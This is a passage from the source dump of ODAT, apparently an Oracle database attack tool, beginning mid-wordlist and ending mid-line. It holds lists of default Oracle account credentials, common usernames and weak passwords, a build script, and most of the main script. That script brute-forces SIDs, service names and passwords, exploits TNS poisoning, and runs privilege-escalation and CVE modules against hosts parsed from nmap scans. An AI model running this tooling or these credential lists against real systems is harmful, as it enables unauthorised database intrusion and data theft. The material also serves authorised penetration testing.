xni/xni xnm/xnm xnp/xnp xns/xns xprt/xprt xtr/xtr yy/yy zfa/zfa zpb/zpb zsa/zsa zx/zx odat-5.1.1/accounts/accounts_small.txt000066400000000000000000000034271423220672100200410ustar00rootroot00000000000000anonymous/anonymous applsys/applsys apps/apps aq/aq aqdemo/aqdemo aqjava/aqjava aquser/aquser ar/ar asp/asp brio_admin/brio_admin bsc/bsc cct/cct central/central cn/cn ctxsys/ctxsys dbi/mumblefratz dbsnmp/dbsnmp dev2000_demos/dev2000_demos dip/dip dmsys/dmsys dssys/dssys dtsp/dtsp estoreuser/estore event/event evm/evm exfsys/exfsys fa/fa finprod/finprod frm/frm frosty/snowman fte/fte hxt/hxt john/john jones/steel librarian/shelves mgr/mgr mgwuser/mgwuser migrate/migrate miller/miller moreau/moreau ocm_db_admin/ odm_mtr/mtrpw odm/odm odscommon/odscommon ods/ods ods_server/ods_server oe/change_on_install oe/oe opi/opi oracache/oracache oracache/ oracle/oracle oracle_ocm/oracle_ocm oradba/oradbapass ota/ota outln/outln owa/owa owa_public/owa_public owf_mgr/owf_mgr owf_mgr/ owner/owner patrol/patrol paul/paul perfstat/perfstat perstat/perstat pjm/pjm planning/planning plex/plex plsql/supersecret pm/change_on_install root/root rrs/rrs sample/sample sap/06071992 sapr3/sap sap/sapr3 scott/tiger scott/tigger sdos_icsap/sdos_icsap secdemo/secdemo serviceconsumer1/serviceconsumer1 sh/change_on_install sh/sh sh/unknown spierson/spierson ssp/ssp swuser/swuser sympa/sympa sysadmin/sysadmin sysadmin/ sysadm/sysadm sysman/oem_temp sysman/sysman sys/sys system/oracle8i system/oracle9 system/oracle9i system/system system/systempass tdos_icsap/tdos_icsap tibco/tibco tracesvr/trace tsuser/tsuser uddisys/ ultimate/ultimate um_admin/um_admin um_client/um_client user_name/password websys/manager webuser/your_pass west/west wfadmin/wfadmin wh/wh wps/wps wsh/wsh wsm/wsm wwwuser/wwwuser www/www xademo/xademo xdb/change_on_install xdb/xdb xdp/xdp xla/xla xnc/xnc xni/xni xnm/xnm xnp/xnp xns/xns xprt/xprt xtr/xtr sys/oracle wksys/wksys mdsys/mdsys dba_proxy/dba_proxy odat-5.1.1/accounts/logins.txt000066400000000000000000000062611423220672100163240ustar00rootroot00000000000000abm adams adldemo admin administrator ahl ahm ak alhro alhrw alr ams amv andy anonymous ap applmgr applsys applsyspub applysyspub apps apps_mrc appuser aq aqdemo aqjava aquser ar asf asg asl aso asp ast atm audiouser aurora$jis$utility$ aurora$orb$unauthenticated ax az bc4j ben bic bil bim bis biv bix blake blewis bom brio_admin brugernavn brukernavn bsc bug_reports calvin catalog cct cdemo82 cdemocor cdemorid cdemoucb cdouglas ce centra central cids cis cisinfo clark clkana clkrt cn company compiere cqschemauser cquserdbuser crp cs csc csd cse csf csi csl csmig csp csr css ctxdemo ctxsys cua cue cuf cug cui cun cup cus cz data_schema dbatest dbi dbsnmp dbvision dcm ddic demo demo8 demo9 des des2k dev2000_demos diane dip discoverer5 discoverer_admin dmsys dpf dsgateway dssys dtsp eaa eam earlywatch east ec ecx ejb ejsadmin emp eng eni estoreuser event evm example exfsys extdemo extdemo2 fa fem fii finance finprod flm fnd foo fpt frm frosty fte fv gl gma gmd gme gmf gmi gml gmp gms gpfd gpld gr hades hcpark hlw hr hri hvst hxc hxt iba ibe ibp ibu iby icdbown icx idemo_user ieb iec iem ieo ies ieu iex ifssys igc igf igi igs igw imageuser imc imedia imt internal #internal inv ipa ipd iplanet isc itg ja jake je jg jill jl jmuser john jones jtf jtm jts jward kwalker l2ldemo lbacsys librarian manprod mark mascarm master mddata mddemo mddemo_clerk mddemo_mgr mdsys me mfg mgr mgwuser migrate miller mmo2 modtest moreau mrp msc msd mso msr mtssys mts_user mwa mxagent names neotix_sys nneul nomeutente nome_utilizador nom_utilisateur nume_utilizator oaihub902 oas_public ocitest ocm_db_admin odm odm_mtr ods odscommon ods_server oe oemadm oemrep oem_repository okb okc oke oki oko okr oks okx olapdba olapsvr olapsys omwb_emulation ont oo openspirit opi oracache oracle oracle_ocm oradba orange oraprobe oraregsys orasso orasso_ds orasso_pa orasso_ps orasso_public orastat orcladmin ordcommon ordplugins ordsys ose$http$admin osm osp22 ossaq_host ossaq_pub ossaq_sub ota outln owa owa_public owf_mgr owner ozf ozp ozs pa panama patrol paul pdbadmin perfstat perstat pjm planning plex plsql pm pmi pn po po7 po8 poa pom portal portal30 portal30_admin portal30_demo portal30_ps portal30_public portal30_sso portal30_sso_admin portal30_sso_ps portal30_sso_public portal_app portal_demo portal_public portal_sso_ps pos powercartuser primary psa psb psp pubsub pubsub1 pv qa qdba qp qs qs_adm qs_cb qs_cbadm qs_cs qs_es qs_os qs_ws re repadmin rep_manager reports reports_user rep_owner rep_user rg rhx rla rlm rmail rman root rrs sample sap sapr3 scott sdos_icsap secdemo serviceconsumer1 sh si_informtn_schema siteminder slide spierson ssp starter strat_user swpro swuser sympa sys sysadm sysadmin sysman system tahiti talbot tdos_icsap tec test testpilot test_user thinsample tibco tip37 tracesvr travel tsdev tsuser turbine uddisys ultimate um_admin um_client user user0 user1 user2 user3 user4 user5 user6 user7 user8 user9 user_name usuario utility utlbstatu vea veh vertex_login videouser vif_developer viruser vpd_admin vrr1 webcal01 webdb webread websys webuser west wfadmin wh wip wireless wkadmin wkproxy wk_proxy wksys wk_sys wk_test wkuser wms wmsys wob wps wsh wsm www wwwuser xademo xdb xdp xla xnc xni xnm xnp xns xprt xtr odat-5.1.1/accounts/pwds.txt000066400000000000000000000002741423220672100160040ustar00rootroot00000000000000111111 123123 1234 12345 123456 1234567 12345678 123456789 696969 abc123 access database master michael oracle oracle1A Oracle password qwerty shadow Password PasswOrd PasswOrd! Password! odat-5.1.1/conf/000077500000000000000000000000001423220672100133715ustar00rootroot00000000000000odat-5.1.1/conf/sqlnet.ora000066400000000000000000000000711423220672100154000ustar00rootroot00000000000000SQLNET.OUTBOUND_CONNECT_TIMEOUT=60 TCP.CONNECT_TIMEOUT=60odat-5.1.1/createALinuxBinary.sh000077500000000000000000000022001423220672100165260ustar00rootroot00000000000000#/bin/bash GLIBC_VERSION=`ldd --version | grep ldd | grep -o ')[^"]*' | sed "s/) //g"` VERSION="libc$GLIBC_VERSION-`uname -m`" PYINSTALLER="pyinstaller" #Creation if which $PYINSTALLER >/dev/null; then echo "Pyinstaller has been found: good news :)" else echo "Pyinstaller not found, stop!" exit 0 fi mkdir -p ./build/linux/ $PYINSTALLER --clean --onedir --noconfirm --distpath="./build/linux/" --workpath="./build/" --name="odat-$VERSION" odat.py --strip #Add a librarie manually cp "$ORACLE_HOME"/lib/lib* ./build/linux/odat-$VERSION/ cp /lib64/libaio.so.1 ./build/linux/odat-$VERSION/libaio.so.1 #cp "$ORACLE_HOME"/lib/libons.so ./build/linux/odat-$VERSION/libons.so #Required files cp -R accounts/ ./build/linux/odat-$VERSION/accounts cp -R resources/ ./build/linux/odat-$VERSION/resources chmod a+x ./build/linux/odat-$VERSION/libociei.so #Suppression des traces rm -R build/odat-$VERSION/ #Compress directory cd ./build/linux/ ls -l export GZIP=-9 tar -cvzf "./odat-linux-$VERSION.tar.gz" ./odat-$VERSION/ read -p "Do you want delete no compressed data (Y or y for yes)? " -n 1 -r echo if [[ $REPLY =~ ^[Yy]$ ]] then rm -r ./odat-$VERSION/ fi odat-5.1.1/docs/000077500000000000000000000000001423220672100133745ustar00rootroot00000000000000odat-5.1.1/odat-libc2.19-x86_64.spec000066400000000000000000000013411423220672100164230ustar00rootroot00000000000000# -*- mode: python -*- block_cipher = None a = Analysis(['odat.py'], pathex=['/home/bobsecurity/odat'], hiddenimports=[], hookspath=['/usr/lib/python2.7/dist-packages/scapy/layers/'], runtime_hooks=None, cipher=block_cipher) pyz = PYZ(a.pure, cipher=block_cipher) exe = EXE(pyz, a.scripts, exclude_binaries=True, name='odat-libc2.19-x86_64', debug=False, strip=True, upx=True, console=True ) coll = COLLECT(exe, a.binaries, a.zipfiles, a.datas, strip=True, upx=True, name='odat-libc2.19-x86_64') odat-5.1.1/odat.py000077500000000000000000001600141423220672100137520ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- from sys import exit,stdout,version_info from libnmap.parser import NmapParser import socket if version_info[0] < 3: print("ERROT: Python 3 has to be used for this version of ODAT") exit(99) #PYTHON_ARGCOMPLETE_OK try: import argcomplete ARGCOMPLETE_AVAILABLE = True except ImportError: ARGCOMPLETE_AVAILABLE = False #PYTHON_COLORLOG_OK try: from colorlog import ColoredFormatter COLORLOG_AVAILABLE = True except ImportError: COLORLOG_AVAILABLE = False import argparse, logging, platform, cx_Oracle, string, os, sys from libnmap.parser import NmapParser from Utils import (areEquals, configureLogging, ErrorSQLRequest, sidOrServiceNameHasBeenGiven, anAccountIsGiven, ipOrNameServerHasBeenGiven, getCredentialsFormated, getSIDorServiceNameWithType, getHostsFromFile) from Constants import * from Output import Output from Tnscmd import runTnsCmdModule from UtlFile import UtlFile, runUtlFileModule from DbmsAdvisor import DbmsAdvisor,runDbmsadvisorModule from DbmsScheduler import DbmsScheduler,runDbmsSchedulerModule from UtlHttp import UtlHttp,runUtlHttpModule from HttpUriType import HttpUriType,runHttpUriTypeModule from Java import Java,runjavaModule from PasswordGuesser import PasswordGuesser, runPasswordGuesserModule from SIDGuesser import runSIDGuesserModule from SMB import SMB, runSMBModule from Ctxsys import Ctxsys,runCtxsysModule from Passwords import Passwords,runPasswordsModule from DbmsXslprocessor import DbmsXslprocessor,runDbmsXslprocessorModule from ExternalTable import ExternalTable,runExternalTableModule from UtlTcp import UtlTcp,runUtlTcpModule from DbmsLob import DbmsLob,runDbmsLob from CVE_2012_3137 import CVE_2012_3137,runCVE20123137Module from Oradbg import Oradbg,runOradbgModule from UsernameLikePassword import UsernameLikePassword,runUsernameLikePassword from Search import runSearchModule from Unwrapper import runUnwrapperModule from PrivilegeEscalation import PrivilegeEscalation, runPrivilegeEscalationModule from CVE_XXXX_YYYY import CVE_XXXX_YYYY, runCVEXXXYYYModule from Tnspoison import Tnspoison, runTnsPoisonModule from OracleDatabase import OracleDatabase from ServiceNameGuesser import runServiceNameGuesserModule class MyFormatter(argparse.RawTextHelpFormatter): """ Corrected _max_action_length for the indenting of subactions SRC: http://stackoverflow.com/questions/32888815/max-help-position-is-not-works-in-python-argparse-library """ def add_argument(self, action): if action.help is not argparse.SUPPRESS: # find all invocations get_invocation = self._format_action_invocation invocations = [get_invocation(action)] current_indent = self._current_indent for subaction in self._iter_indented_subactions(action): # compensate for the indent that will be added indent_chg = self._current_indent - current_indent added_indent = 'x'*indent_chg invocations.append(added_indent+get_invocation(subaction)) # print('inv', invocations) # update the maximum item length invocation_length = max([len(s) for s in invocations]) action_length = invocation_length + self._current_indent self._action_max_length = max(self._action_max_length, action_length) # add the item to the list self._add_item(self._format_action, [action]) def runClean (args): ''' Clean traces and logs ''' nbFileDeleted, nbFileToDelete = 0, 0 exts=(PASSWORD_EXTENSION_FILE,CHALLENGE_EXT_FILE) pathOfOdat = os.path.dirname(os.path.abspath(__file__)) for root, dirs, files in os.walk(pathOfOdat): for currentFile in files: logging.debug("Processing file: {0}".format(currentFile)) if any(currentFile.lower().endswith(ext) for ext in exts): rep = input("Do you want to delete this file (Y for yes): {0}/{1}? ".format(root, currentFile)) if rep.replace('\n','') == 'Y' : os.remove(os.path.join(root, currentFile)) logging.info("Removing {0}/{1}".format(root, currentFile)) nbFileDeleted += 1 nbFileToDelete += 1 args['print'].goodNews("Finish: {0}/{1} file(s) deleted".format(nbFileDeleted, nbFileToDelete)) def runAllModulesOnEachHost(args): ''' Run all modules for all targets ''' if args['nmap-file'] != None: nmapReport = NmapParser.parse_fromfile(args['nmap-file']) for aHost in nmapReport.hosts: hostAdress = aHost.address for aService in aHost.services: serviceName = aService.service.lower() # oracle-tns service, opened on TCP only if aService.state == 'open' and aService.protocol == "tcp" and serviceName == "oracle-tns": hostPort = aService.port logging.info("Server {0} is running a TNS Listener on {1}: {2}".format(hostAdress, hostPort, repr(aService))) args['server'], args['port'] = hostAdress, hostPort args['user'], args['password'] = None, None runAllModules(args) elif args['hostlist'] != None: hosts = getHostsFromFile(args['hostlist']) for aHost in hosts: args['server'], args['port'] = aHost[0], aHost[1] args['user'], args['password'] = None, None args['sid'], args['serviceName'] = None, None runAllModules(args) else: runAllModules(args) def checkIfWorkingTnsListener(args, timeoutTCP=10): ''' Returns True if it is a working TNS listener. Otherwise False Use server and port of args only for testing. ''' args['print'].printMessage("Checking if target {0}:{1} is well configured for a connection...".format(args['server'], args['port'])) socks = socket.socket(socket.AF_INET, socket.SOCK_STREAM) socks.settimeout(timeoutTCP) logging.debug('Trying a TCP connection to {0} port {1}'.format(args['server'], args['port'])) try: socks.connect((args['server'], int(args['port']))) logging.debug("Connection established to server") except Exception as e: args['print'].badNews("Impossible to establish a TCP connection to {0}:{1}. This target is SKIPPED".format(args['server'], args['port'])) logging.debug("TCP error: {0}".format(str(e))) return False socks.close() odb = OracleDatabase(args) statusWorking = odb.isWorkingTnsListener() if statusWorking == False: args['print'].badNews("According to a test, the TNS listener {0}:{1} is NOT well configured. This target is SKIPPED".format(args['server'], args['port'])) return False else: args['print'].goodNews("According to a test, the TNS listener {0}:{1} is well configured. Continue...".format(args['server'],args['port'])) return True def runAllModules(args): ''' Run all modules for one target Returns True if all tests have been checked if possible. Returns False if TNS listener is not well configured ''' if checkIfWorkingTnsListener(args, timeoutTCP=args['timeout-tcp-check']) == False: return False connectionInformationSID, connectionInformationServiceName = {}, {} #Store valid/given connection strings validSIDsList, validServiceNameList = [], [] #Store valid SID ans Service Name #0)TNS Poinsoning if args['no-tns-poisoning-check'] == False: logging.debug("All Module: Checking TNS poison attack because option enabled...") tnspoison = Tnspoison(args) tnspoison.testAll() else: logging.info("Don't check if the target is vulnerable to TNS poisoning because the option --no-tns-poisoning-check is enabled in command line") #A)SID MANAGEMENT if args['sid'] == None and args['serviceName'] == None: logging.debug("All Module: Searching valid SIDs because no SID or Service Name given...") validSIDsList = runSIDGuesserModule(args) args['user'], args['password'] = None, None args['sid'] = None #Clean sid, if one has been found else : if args['sid'] != None: logging.debug("All Module: A SID has been given. Don't search other valid SIDs.") validSIDsList = [args['sid']] else: logging.debug("All Module: SID has NOT been given") if validSIDsList == []: logging.debug("All Module: A SID has not been found, searching valid Service Name(s)...") #A.2 SERVICE NAME MANAGEMENT if args['sid'] == None and args['serviceName'] == None: logging.debug("All Module: Searching valid Service Names because no SID found and Service Name is not given...") validServiceNameList = runServiceNameGuesserModule(args) args['user'], args['password'] = None, None args['serviceName'] == None #Clean serviceName, if one has been found else: if args['serviceName'] != None: logging.debug("All Module: A Service Name has been given. Don't search other valid SIDs.") validServiceNameList = [args['serviceName']] else: logging.debug("All Module: Service Name has NOT been given") if validSIDsList == [] and validServiceNameList == []: args['print'].badNews("No one SID or Service Name has been found. Impossible to continue") exit(EXIT_NO_SIDS) logging.debug("Removing Service Names identical to a SID...") for aSID in validSIDsList: if aSID in validServiceNameList: args['print'].printImportantNotice("SID {0} found. Service Name {0} found too: Identical database instance. Removing Service Name {0} from Service Name list in order to don't do same checks twice".format(repr(aSID))) validServiceNameList.remove(aSID) #B)ACCOUNT MANAGEMENT if args['credentialsFile'] == True : logging.debug("All Module: Loading credentials stored in the {0} file as valid credentials".format(args['accounts-file'])) #Load accounts from file passwordGuesser = PasswordGuesser(args, accountsFile= args['accounts-file'], loginFile=None , passwordFile=None, loginAsPwd=args['login-as-pwd'], bothUpperLower=args['both-upper-lower'], randomOrder=args['random-order']) validAccountsList = passwordGuesser.getAccountsFromFile() logging.debug("All Module: Loading all valid credentials with these SIDs: {0}".format(validSIDsList)) for aSid in validSIDsList: for anAccount in validAccountsList: if (aSid in connectionInformationSID) == False: connectionInformationSID[aSid] = [[anAccount[0], anAccount[1]]] else : connectionInformationSID[aSid].append([anAccount[0], anAccount[1]]) logging.debug("All Module: Loading all valid credentials with these SIDs: {0}".format(validServiceNameList)) for aServiceName in validServiceNameList: for anAccount in validAccountsList: if (aServiceName in connectionInformationServiceName) == False: connectionInformationServiceName[aServiceName] = [[anAccount[0], anAccount[1]]] else : connectionInformationServiceName[connectionInformationServiceName].append([anAccount[0], anAccount[1]]) elif args['user'] == None and args['password'] == None: logging.debug("All Module: No specific credential given. Searching valid creds for given or found SIDs...") for sid in validSIDsList: args['print'].title("Searching valid accounts on the {0} SID".format(sid)) args['sid'] = sid args['serviceName'] = None #To be sure to DISABLE connection with Service Name, and to use SID if args['accounts-files'][0] != None and args['accounts-files'][1] != None : args['accounts-file'] = None passwordGuesser = PasswordGuesser(args, accountsFile=args['accounts-file'], loginFile=args['accounts-files'][0], passwordFile=args['accounts-files'][1], timeSleep=args['timeSleep'], loginAsPwd=args['login-as-pwd'], bothUpperLower=args['both-upper-lower'], randomOrder=args['random-order']) passwordGuesser.searchValideAccounts() validAccountsList = passwordGuesser.valideAccounts if validAccountsList == {}: args['print'].badNews("No found a valid account on {0}:{1}/{2}. You should try with the option '--accounts-file accounts/accounts_multiple.txt' or '--accounts-files accounts/logins.txt accounts/pwds.txt'".format(args['server'], args['port'], args['sid'])) #exit(EXIT_NO_ACCOUNTS) else : args['print'].goodNews("Accounts found on {0}:{1}/sid:{2}: {3}".format(args['server'], args['port'], args['sid'],getCredentialsFormated(validAccountsList))) for aLogin, aPassword in list(validAccountsList.items()): if (sid in connectionInformationSID) == False: connectionInformationSID[sid] = [[aLogin,aPassword]] else : connectionInformationSID[sid].append([aLogin,aPassword]) logging.debug("All Module: No specific credential given. Searching valid creds for given or found Service Names...") for aServiceName in validServiceNameList: args['print'].title("Searching valid accounts on the {0} Service Name".format(aServiceName)) args['serviceName'] = aServiceName args['sid'] = None #To be sure to DISABLE connection with SID, and to use Service Name if args['accounts-files'][0] != None and args['accounts-files'][1] != None: args['accounts-file'] = None passwordGuesser = PasswordGuesser(args, accountsFile=args['accounts-file'], loginFile=args['accounts-files'][0], passwordFile=args['accounts-files'][1], timeSleep=args['timeSleep'], loginAsPwd=args['login-as-pwd'], bothUpperLower=args['both-upper-lower'], randomOrder=args['random-order']) passwordGuesser.searchValideAccounts() validAccountsList = passwordGuesser.valideAccounts if validAccountsList == {}: args['print'].badNews("No found a valid account on {0}:{1}/{2}. You should try with the option '--accounts-file accounts/accounts_multiple.txt' or '--accounts-files accounts/logins.txt accounts/pwds.txt'".format(args['server'], args['port'], args['serviceName'])) #exit(EXIT_NO_ACCOUNTS) else: args['print'].goodNews("Accounts found on {0}:{1}/serviceName:{2}: {3}".format(args['server'], args['port'], args['serviceName'], getCredentialsFormated(validAccountsList))) for aLogin, aPassword in list(validAccountsList.items()): if (aServiceName in connectionInformationServiceName) == False: connectionInformationServiceName[aServiceName] = [[aLogin, aPassword]] else: connectionInformationServiceName[aServiceName].append([aLogin, aPassword]) if connectionInformationSID == [] and connectionInformationServiceName == []: args['print'].badNews("No account found with SID(s) or Service Name(s) given (or found). Impossible to continue.") exit(EXIT_NO_ACCOUNTS) else: logging.debug("All Module: a specific account given with user and password arguments") validAccountsList = {args['user']:args['password']} for aSid in validSIDsList: for aLogin, aPassword in list(validAccountsList.items()): if (aSid in connectionInformationSID) == False: connectionInformationSID[aSid] = [[aLogin,aPassword]] else : connectionInformationSID[aSid].append([aLogin,aPassword]) for aServiceName in validServiceNameList: for aLogin, aPassword in list(validAccountsList.items()): if (aServiceName in connectionInformationServiceName) == False: connectionInformationServiceName[aServiceName] = [[aLogin,aPassword]] else : connectionInformationServiceName[aServiceName].append([aLogin,aPassword]) logging.debug("All Module: Valid account(s) with a SID (connectionInformationSID): {0}".format(connectionInformationSID)) logging.debug("All Module: Valid account(s) with a Service Name (connectionInformationServiceName): {0}".format(connectionInformationServiceName)) #C)ALL OTHERS MODULES for aSid in list(connectionInformationSID.keys()): for loginAndPass in connectionInformationSID[aSid]: status = runAllAuthenticatedModules(args=args, username=loginAndPass[0], password=loginAndPass[1], sid=aSid, serviceName=None) # usernamelikepassword module args['run'] = True logging.info("Using last valid credentials on {0} for getting usernames and checking weak passwords".format(getSIDorServiceNameWithType(args))) runUsernameLikePassword(args) for aServiceName in list(connectionInformationServiceName.keys()): for loginAndPass in connectionInformationServiceName[aServiceName]: status = runAllAuthenticatedModules(args=args, username=loginAndPass[0], password=loginAndPass[1], sid=None, serviceName=aServiceName) # usernamelikepassword module args['run'] = True logging.info("Using last valid credentials on {0} for getting usernames and checking weak passwords".format(getSIDorServiceNameWithType(args))) runUsernameLikePassword(args) return True def runAllAuthenticatedModules(args, username, password, sid=None, serviceName=None, ): """ Runs all authenticated/connected modules sid or serviceName has to be given. :return: None if an error, returns True if no problem """ if sid == None and serviceName == None: logging.critical("A SID or Service Name has to be given in runAllAuthenticatedModules()") return None if sid != None and serviceName != None: logging.warning("A SID and a Service Name are given in runAllAuthenticatedModules(). SID only is used") if sid != None: args['sid'] = sid args['serviceName'] = None #To be sure that sid is used for Connection String, and not Service Name else: args['serviceName'] = serviceName args['sid'] = None # To be sure that Service Name is used for Connection String, and not SID args['user'], args['password'] = username, password args['print'].title("Testing all authenticated modules on {0} with the {1}/{2} account".format(getSIDorServiceNameWithType(args), args['user'], args['password'])) # INFO ABOUT REMOTE SERVER status = OracleDatabase(args).connection() if isinstance(status, Exception): args['print'].badNews("Impossible to connect to the remote database: {0}".format(str(status).replace('\n', ''))) return None # UTL_HTTP utlHttp = UtlHttp(args) status = utlHttp.connection() utlHttp.testAll() # HTTPURITYPE httpUriType = HttpUriType(args) httpUriType.testAll() # UTL_FILE utlFile = UtlFile(args) utlFile.testAll() # JAVA java = Java(args) java.testAll() # DBMS ADVISOR dbmsAdvisor = DbmsAdvisor(args) dbmsAdvisor.testAll() # DBMS Scheduler dbmsScheduler = DbmsScheduler(args) dbmsScheduler.testAll() # CTXSYS ctxsys = Ctxsys(args) ctxsys.testAll() # Passwords passwords = Passwords(args) passwords.testAll() # DbmsXmldom dbmsXslprocessor = DbmsXslprocessor(args) dbmsXslprocessor.testAll() # External Table externalTable = ExternalTable(args) externalTable.testAll() # Oradbg oradbg = Oradbg(args) oradbg.testAll() # DbmsLob dbmsLob = DbmsLob(args) dbmsLob.testAll() # SMB smb = SMB(args) smb.testAll() # Pribvilege escalation privilegeEscalation = PrivilegeEscalation(args) privilegeEscalation.testAll() # Test some CVE cve = CVE_XXXX_YYYY(args) cve.testAll() cve.close() # Close the socket to the remote database # CVE_2012_3137 cve = CVE_2012_3137(args) cve.testAll() return True def configureLogging(args): ''' Configure le logging ''' logformatNoColor = "%(asctime)s %(levelname)-3s -: %(message)s" logformatColor = "%(bg_black)s%(asctime)s%(reset)s %(log_color)s%(levelname)-3s%(reset)s %(bold_black)s-:%(reset)s %(log_color)s%(message)s%(reset)s"#%(bold_black)s%(name)s:%(reset)s datefmt = "%H:%M:%S" #Set log level args['show_sql_requests'] = False if "verbose" in args: if args['verbose']==0: level=logging.WARNING elif args['verbose']==1: level=logging.INFO elif args['verbose']==2: level=logging.DEBUG elif args['verbose']>2: level=logging.DEBUG args['show_sql_requests'] = True else: level=level=logging.WARNING #Define color for logs if 'no-color' in args and args['no-color'] == False and COLORLOG_AVAILABLE==True: formatter = ColoredFormatter(logformatColor, datefmt=datefmt,log_colors={'CRITICAL': 'bold_red', 'ERROR': 'red', 'WARNING': 'yellow'}) else : args['no-color']=True formatter = logging.Formatter(logformatNoColor, datefmt=datefmt) stream = logging.StreamHandler() #stream.setLevel(level) stream.setFormatter(formatter) root = logging.getLogger() root.setLevel(level) root.addHandler(stream) def main(): #Parse Args myFormatterClass = lambda prog: MyFormatter(prog, max_help_position=MAX_HELP_POSITION, width=MAX_HELP_WIDTH) mySubFormatterClass = lambda prog: MyFormatter(prog, max_help_position=MAX_SUB_HELP_POSITION, width=MAX_HELP_WIDTH) mySpecialSubFormatterClass = lambda prog: MyFormatter(prog, max_help_position=MAX_SPECIAL_SUB_HELP_POSITION, width=MAX_HELP_WIDTH) parser = argparse.ArgumentParser(description=DESCRIPTION, formatter_class=myFormatterClass) #1- Parent parsers parser.add_argument('--version', action='version', version=CURRENT_VERSION) #1.0- Parent parser: optional PPoptional = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPoptional._optionals.title = "optional arguments" PPoptional.add_argument('-v', dest='verbose', action='count', default=0, help='enable verbosity (-vv for more)') PPoptional.add_argument('--sleep', dest='timeSleep', required=False, type=float, default=DEFAULT_TIME_SLEEP, help='time sleep between each test or request (default: %(default)s)') PPoptional.add_argument('--encoding', dest='encoding', required=False, default=DEFAULT_ENCODING, help='output encoding (default: %(default)s)') #1.1- Parent parser: connection options PPconnection = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPconnection._optionals.title = "connection options" PPconnection.add_argument('-s', dest='server', required=False, help='server') PPconnection.add_argument('-p', dest='port', default=1521, type=int, required=False, help='port (Default 1521)') PPconnection.add_argument('-U', dest='user', required=False, help='Oracle username') PPconnection.add_argument('-P', dest='password', required=False, default=None, help='Oracle password') PPconnection.add_argument('-d', dest='sid', required=False, default=None, help='Oracle System ID (SID)') PPconnection.add_argument('-n', dest='serviceName', required=False, default=None, help='Oracle Service Name') PPconnection.add_argument('--client-driver', dest='client-driver', required=False, default="SQL*PLUS", help='Set client driver name (default: %(default)s)') PPconnection.add_argument('--sysdba', dest='SYSDBA', action='store_true', default=False, help='connection as SYSDBA') PPconnection.add_argument('--sysoper', dest='SYSOPER', action='store_true', default=False, help='connection as SYSOPER') #1.2- Parent parser: output options PPoutput = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPoutput._optionals.title = "output configurations" PPoutput.add_argument('--no-color', dest='no-color', required=False, action='store_true', help='no color for output') PPoutput.add_argument('--output-file',dest='outputFile',default=None,required=False,help='save results in this file') #1.3- Parent parser: all option PPallModule = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPallModule._optionals.title = "all module options" PPallModule.add_argument('-C', dest='credentialsFile', action='store_true', required=False, default=False, help='use credentials stored in the --accounts-file file (disable -P and -U)') PPallModule.add_argument('--no-tns-poisoning-check', dest='no-tns-poisoning-check', action='store_true', required=False, default=False, help="don't check if target is vulnreable to TNS poisoning") PPallModule.add_argument('-l', dest='hostlist', required=False, help='filename which contains hosts (one ip on each line: "ip:port" or "ip" only)') PPallModule.add_argument('--nmap-file', dest='nmap-file', default=None, required=False, help='xml nmap file for getting targets') PPallModule.add_argument('--timeout-tcp-check', dest='timeout-tcp-check', default=10, type=int, required=False, help='timeout for tcp connection check (default: %(default)s scds)') #1.3bis- Parent parser: TNS cmd PPTnsCmd = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPTnsCmd._optionals.title = "TNS cmd options" PPTnsCmd.add_argument('--ping', dest='ping', action='store_true', required=False, default=False, help='send a TNS ping command to get alias') PPTnsCmd.add_argument('--version', dest='version', action='store_true', required=False, default=False, help='send a TNS version command to try to get verion') PPTnsCmd.add_argument('--status', dest='status', action='store_true', required=False, default=False, help='send a TNS status command to get the status') #1.3tier- Parent parser: Tns poisoning PPTnsPoison = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPTnsPoison._optionals.title = "TNS poisoning options" PPTnsPoison.add_argument('--test-module',dest='test-module',action='store_true',help='test if the target is vulnerable (CVE-2012-1675)') PPTnsPoison.add_argument('--poison', dest='poison', action='store_true', required=False, default=False, help='exploit the TNS poisonint attack') PPTnsPoisonSub = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPTnsPoisonSub._optionals.title = "TNS poisoning sub options" PPTnsPoisonSub.add_argument('--listening-port', dest='listening-port', default=DEFAULT_LOCAL_LISTENING_PORT_TNS_POISON, required=False, help='listening port for proxy (min: 1000, max: 9999, default: %(default)s)') PPTnsPoisonSub.add_argument('--cstring', dest='cstring', default=None, required=False, help='connection string used by Oracle clients when SID>=9') PPTnsPoisonSub.add_argument('--replace', dest='replace', nargs=2, metavar=('value','newvalue'), default=[None, None], help='replace a string in the communication established') PPTnsPoisonSub.add_argument('--sleep-time', dest='sleeptime', default=10, required=False, help='sleep time between each TNS registration sent %(default)s)') #1.3- Parent parser: SID Guesser PPsidguesser = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPsidguesser._optionals.title = "SID guesser options" PPsidguesser.add_argument('--sids-min-size',dest='sids-min-size',required=False, type=int, default=DEFAULT_SID_MIN_SIZE, help='minimum size of SIDs for the bruteforce (default: %(default)s)') PPsidguesser.add_argument('--sids-max-size',dest='sids-max-size',required=False, type=int, default=DEFAULT_SID_MAX_SIZE, help='maximum size of SIDs for the bruteforce (default: %(default)s)') PPsidguesser.add_argument('--sid-charset',dest='sid-charset',required=False, default=DEFAULT_SID_CHARSET, help='charset for the SID bruteforce (default: %(default)s)') PPsidguesser.add_argument('--sids-file',dest='sids-file',required=False,metavar="FILE",default=DEFAULT_SID_FILE, help='file containing SIDs (default: %(default)s)') PPsidguesser.add_argument('--no-alias-like-sid',dest='no-alias-like-sid',action='store_true',required=False, help='no try listener ALIAS like SIDs (default: %(default)s)') # 1.3.2- Parent parser: Service Name Guesser PPservicenameguesser = argparse.ArgumentParser(add_help=False, formatter_class=myFormatterClass) PPservicenameguesser._optionals.title = "SID guesser options" PPservicenameguesser.add_argument('--service-name-min-size', dest='service-name-min-size', required=False, type=int, default=DEFAULT_SID_MIN_SIZE,help='minimum size of Service Names for the bruteforce (default: %(default)s)') PPservicenameguesser.add_argument('--service-name-max-size', dest='service-name-max-size', required=False, type=int,default=DEFAULT_SID_MAX_SIZE,help='maximum size of Service Names for the bruteforce (default: %(default)s)') PPservicenameguesser.add_argument('--service-name-charset', dest='service-name-charset', required=False, default=DEFAULT_SID_CHARSET,help='charset for the Service Name bruteforce (default: 